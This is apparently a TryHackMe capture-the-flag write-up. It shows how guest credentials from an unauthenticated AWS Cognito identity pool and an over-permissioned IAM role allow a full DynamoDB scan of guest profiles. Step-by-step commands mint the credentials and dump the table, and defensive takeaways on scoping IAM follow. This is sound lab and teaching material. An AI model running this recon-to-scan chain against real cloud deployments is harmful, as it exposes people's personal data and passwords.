TryHackMeEasy

Hacker Holidays — Day 3: Complimentary

A "free" wellness app hands out unauthenticated Cognito guest credentials, and an over-scoped IAM role lets those guest credentials Scan the entire DynamoDB table instead of just one record.

Pink ghost mascot wearing sunglasses and holding a phone

Event: Hacker Holidays — The Byte Lotus Hotel · Day 3 · ☁️ Cloud (AWS) Target: http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/

The Setup

A “free, no-login” wellness app hosted as an S3 static website. It knows your name the moment you open it — so something is issuing it AWS credentials with no authentication. That something is a Cognito Identity Pool configured to hand out unauthenticated (guest) credentials, and the IAM role behind those creds is over-permissioned: it allows dynamodb:Scan, so a “guest” can read every profile, not just their own.

Bug class: Cognito unauthenticated identity + over-scoped IAM role → IDOR-at-the-cloud-layer.

Step 1 — Find the Credential Mechanism

The site is static, so the AWS wiring lives in the client JS. Pull app.js and grep it:

curl -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js | grep -iE "IdentityPoolId|cognito|region|us-east-1"

// credentials from our Cognito Identity Pool so we can save wellness
const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
AWS.config.credentials = new AWS.CognitoIdentityCredentials({ IdentityPoolId: IDENTITY_POOL_ID, ... });
const dynamodb = new AWS.DynamoDB({ region: AWS_REGION });

CognitoIdentityCredentials with no login provider = anyone can get guest creds. Also grab the table name:

curl -s .../app.js | grep -iE "TABLE_NAME"
const TABLE_NAME = "complimentary-GuestWellnessProfiles";

The app itself only does a scoped getItem on your own byteLotusGuestId (from localStorage) — that’s the intended access. The weakness is the role permits more.

Step 2 — Mint Unauthenticated Guest Credentials

Get an identity from the pool (no --logins = guest):

aws cognito-identity get-id \
    --identity-pool-id us-east-1:836c0949-292d-485b-b532-52d5ca7bb688 \
    --region us-east-1
{ "IdentityId": "us-east-1:4d571309-b06b-c1d7-2e63-42ac0e40f12a" }

Redeem it for temporary AWS credentials:

aws cognito-identity get-credentials-for-identity \
    --identity-id "us-east-1:4d571309-b06b-c1d7-2e63-42ac0e40f12a" \
    --region us-east-1
{ "Credentials": { "AccessKeyId": "ASIA...", "SecretKey": "...", "SessionToken": "..." } }

Export them:

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

Confirm which role we assumed — note the tell-tale name cognito-unauth-role:

aws sts get-caller-identity
{
  "Account": "332173347248",
  "Arn": "arn:aws:sts::332173347248:assumed-role/complimentary-cognito-unauth-role/CognitoIdentityCredentials"
}

Step 3 — Dump More Than Your Own Record

The app scopes itself to getItem — but the role also allows Scan, which ignores the key and returns the whole table:

aws dynamodb scan --table-name complimentary-GuestWellnessProfiles --region us-east-1

All 5 guest profiles came back (names, emails, phones, plaintext passwords, GPS coords). The flag is in guest-vip-042’s record, which conveniently documents the exact vuln:

{
  "guest_id": { "S": "guest-vip-042" },
  "name":     { "S": "Guest VIP-042" },
  "notes":    { "S": "If you're reading this, the wellness app's guest role can read every profile, not just its own. THM{redacted}" }
}

The other records also tie back to the recurring cast — Ponzi, Vibe, Patch, Lambo (@0xMia) — the same trusted guests from Day 1’s VERA prompt.

Takeaways

  • Client-side ≠ access control. The app only asks for its own row via getItem, but the enforcement was never in the app — it’s in IAM. Because the role granted dynamodb:Scan on the whole table, the client-side scoping was cosmetic.
  • Cognito unauthenticated roles are a real attack surface. If a pool allows unauthenticated identities, treat its unauth IAM role as public. Scope it to the caller’s own item — e.g. dynamodb:LeadingKeys condition tying the partition key to ${cognito-identity.amazonaws.com:sub} — and never grant Scan/Query across all keys.
  • Sensitive data + plaintext passwords in DynamoDB made the dump far worse than “just a flag.”
  • Recon pattern worth keeping: S3 static site → grep app.js for IdentityPoolId / region / table → get-idget-credentials-for-identityscan.

Flag

THM{redacted}